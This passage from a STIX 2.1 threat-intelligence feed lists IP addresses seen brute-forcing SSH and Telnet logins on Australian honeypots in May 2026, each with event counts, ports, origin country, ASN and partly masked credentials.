      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 25369. Organisation(s): Hydra Communications Ltd. Usernames observed (masked): A***********************************4, A*********************************************************************8, G************1. Passwords observed (masked): A**************************************y, H**********************3, U*****************************************************************************1.",
      "id": "indicator--06fa2e72-a5ec-4209-86d0-b23547e8a6ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.38.149.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T14:15:05.000Z",
      "valid_until": "2026-06-20T14:15:03.000Z"
    },
    {
      "created": "2026-05-19T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 44034. Organisation(s): Hi3G Access AB.",
      "id": "indicator--e16bca99-c2ba-46bd-bf62-f258b4f7ab8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.70.144.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T14:15:05.000Z",
      "valid_until": "2026-06-20T14:15:03.000Z"
    },
    {
      "created": "2026-05-19T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--700bfa94-6f20-4eee-9bc7-2776f859aacf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.2.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T14:15:05.000Z",
      "valid_until": "2026-06-20T14:15:03.000Z"
    },
    {
      "created": "2026-05-19T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f38d025f-682d-4e58-a50e-62811bbd538d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.81.2.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T14:15:05.000Z",
      "valid_until": "2026-06-20T14:15:03.000Z"
    },
    {
      "created": "2026-05-19T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--f6efa29e-3fe8-4adc-9732-682c24c0c90f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T14:15:05.000Z",
      "valid_until": "2026-06-20T14:15:03.000Z"
    },
    {
      "created": "2026-05-19T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): 1******7.",
      "id": "indicator--65c8d8b3-e1d3-459c-b781-20289172235e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.135.183.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T14:15:05.000Z",
      "valid_until": "2026-06-20T14:15:03.000Z"
    },
    {
      "created": "2026-05-19T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): b*****s.",
      "id": "indicator--0470a545-7def-4172-bb67-2cfdcc6d515a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.163.5.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T14:15:05.000Z",
      "valid_until": "2026-06-20T14:15:03.000Z"
    },
    {
      "created": "2026-05-19T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): t*****2.",
      "id": "indicator--470cbd85-3b19-4a10-aa48-f81145b26469",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.163.81.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T14:15:05.000Z",
      "valid_until": "2026-06-20T14:15:03.000Z"
    },
    {
      "created": "2026-05-19T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269051. Organisation(s): UNIVERSO FIBER COMUNICACAO MULTIMIDIA.",
      "id": "indicator--f0219478-cd3d-4b40-847d-bc7909c08ab6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.178.248.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T14:15:05.000Z",
      "valid_until": "2026-06-20T14:15:03.000Z"
    },
    {
      "created": "2026-05-19T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 33977. Organisation(s): Banat Telecom Satelit S.R.L..",
      "id": "indicator--638bd07e-f3dd-4758-b94d-b9f6147b703c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.39.253.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T14:15:05.000Z",
      "valid_until": "2026-06-20T14:15:03.000Z"
    },
    {
      "created": "2026-05-19T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--525484b1-e774-40a1-92c7-14b38d94a7ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.80.152.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T14:15:05.000Z",
      "valid_until": "2026-06-20T14:15:03.000Z"
    },
    {
      "created": "2026-05-19T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4812. Organisation(s): China Telecom Group.",
      "id": "indicator--7cb9d072-792b-4032-b982-12461767d478",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.80.228.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T15:15:11.000Z",
      "valid_until": "2026-06-20T15:15:08.000Z"
    },
    {
      "created": "2026-05-19T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--39f13d88-aa2a-41c0-b166-d028ddf28e14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.242.152.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T15:15:11.000Z",
      "valid_until": "2026-06-20T15:15:08.000Z"
    },
    {
      "created": "2026-05-19T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 242. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 152377. Organisation(s): PT Trimitra Aditama Koneksindo. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1*******a, 1******7, 1****2.",
      "id": "indicator--3c9c7652-1fff-4527-be60-b53f05168f7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.15.67.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T15:15:11.000Z",
      "valid_until": "2026-06-20T15:15:08.000Z"
    },
    {
      "created": "2026-05-19T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--53335ae3-77c5-4f9a-a69a-91d18f477300",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.158.17.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T15:15:11.000Z",
      "valid_until": "2026-06-20T15:15:08.000Z"
    },
    {
      "created": "2026-05-19T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 17400. Organisation(s): MSTelcom.",
      "id": "indicator--df08a679-7276-45c5-bc79-2bc466056eee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.249.207.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T15:15:11.000Z",
      "valid_until": "2026-06-20T15:15:08.000Z"
    },
    {
      "created": "2026-05-19T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PF. ASN(s): 9471. Organisation(s): ONATI.",
      "id": "indicator--09242acb-5faf-48a9-87a5-78692cf72244",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.90.76.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T15:15:11.000Z",
      "valid_until": "2026-06-20T15:15:08.000Z"
    },
    {
      "created": "2026-05-19T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--2df9296d-7f1f-4e35-948b-a0d90862b3d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T15:15:11.000Z",
      "valid_until": "2026-06-20T15:15:08.000Z"
    },
    {
      "created": "2026-05-19T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--9966992f-8dfe-4ae2-bdcd-a72ea07ccc0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.109.225.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T16:15:06.000Z",
      "valid_until": "2026-06-20T16:15:03.000Z"
    },
    {
      "created": "2026-05-19T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 134922. Organisation(s): R G TECHNOSOLUTIONS PVT LTD.",
      "id": "indicator--134fccab-ed86-4e93-91ec-9e79c16df22c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.116.137.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T16:15:06.000Z",
      "valid_until": "2026-06-20T16:15:03.000Z"
    },
    {
      "created": "2026-05-19T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4479225e-ef15-4bf6-8f16-298c373c3cab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.225.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T16:15:06.000Z",
      "valid_until": "2026-06-20T16:15:03.000Z"
    },
    {
      "created": "2026-05-19T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--672c7278-cc98-4111-b7a7-b417468a94c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.11.133.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T16:15:06.000Z",
      "valid_until": "2026-06-20T16:15:03.000Z"
    },
    {
      "created": "2026-05-19T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--4999cf4f-f3e6-465d-b936-f51283e0254c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.34.178.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T16:15:06.000Z",
      "valid_until": "2026-06-20T16:15:03.000Z"
    },
    {
      "created": "2026-05-19T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--fad9c61e-b269-4b78-89c3-cc455b48ad15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.2.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T16:15:06.000Z",
      "valid_until": "2026-06-20T16:15:03.000Z"
    },
    {
      "created": "2026-05-19T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--f432a989-e2ef-49e4-adfb-a8bb7a883843",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.173.7.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T17:15:12.000Z",
      "valid_until": "2026-06-20T17:15:03.000Z"
    },
    {
      "created": "2026-05-19T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--45150e22-f663-4e37-8a07-a979b2f0a834",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.245.139.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T17:15:12.000Z",
      "valid_until": "2026-06-20T17:15:03.000Z"
    },
    {
      "created": "2026-05-19T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ea896514-fc37-4cc4-9e61-5618796b2586",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.179.229.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T17:15:12.000Z",
      "valid_until": "2026-06-20T17:15:03.000Z"
    },
    {
      "created": "2026-05-19T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--6e2f5201-2124-4ebc-9e93-7ba5761eb451",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.200.150.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T17:15:12.000Z",
      "valid_until": "2026-06-20T17:15:03.000Z"
    },
    {
      "created": "2026-05-19T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 47474. Organisation(s): Virtual1 Limited.",
      "id": "indicator--b015a006-03ac-47c0-8b6a-083f076224d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.117.164.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T17:15:12.000Z",
      "valid_until": "2026-06-20T17:15:03.000Z"
    },
    {
      "created": "2026-05-19T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--e715ae16-2c43-43a6-bd30-45d432443aed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.0.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T17:15:12.000Z",
      "valid_until": "2026-06-20T17:15:03.000Z"
    },
    {
      "created": "2026-05-19T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--bd7577a8-d360-43b5-a0ca-f7abf862dd4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.3.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T17:15:12.000Z",
      "valid_until": "2026-06-20T17:15:03.000Z"
    },
    {
      "created": "2026-05-19T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6b149cd9-b960-4952-93c9-510012764e69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T17:15:12.000Z",
      "valid_until": "2026-06-20T17:15:03.000Z"
    },
    {
      "created": "2026-05-19T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6b3ccc9f-b0b7-4352-a725-84d4458b898b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T17:15:12.000Z",
      "valid_until": "2026-06-20T17:15:03.000Z"
    },
    {
      "created": "2026-05-19T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--e8659b99-cb8b-4913-ba8c-0871f2610e85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '39.108.91.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T17:15:12.000Z",
      "valid_until": "2026-06-20T17:15:03.000Z"
    },
    {
      "created": "2026-05-19T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9465. Organisation(s): AGOTOZ PTE. LTD.. Usernames observed (masked): A**********, G************1. Passwords observed (masked): , H**********************3.",
      "id": "indicator--65a692c2-8839-480c-b4a6-0086e52e6fa3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T17:15:12.000Z",
      "valid_until": "2026-06-20T17:15:03.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--65a15347-1ce2-456b-b8c0-a96350e5c9c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.43.102.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 9674. Organisation(s): Far EastTone Telecommunication Co., Ltd..",
      "id": "indicator--5e148545-93c4-479a-b635-576494ae440a",
      "labels": [
        "bruteforce"
      ],
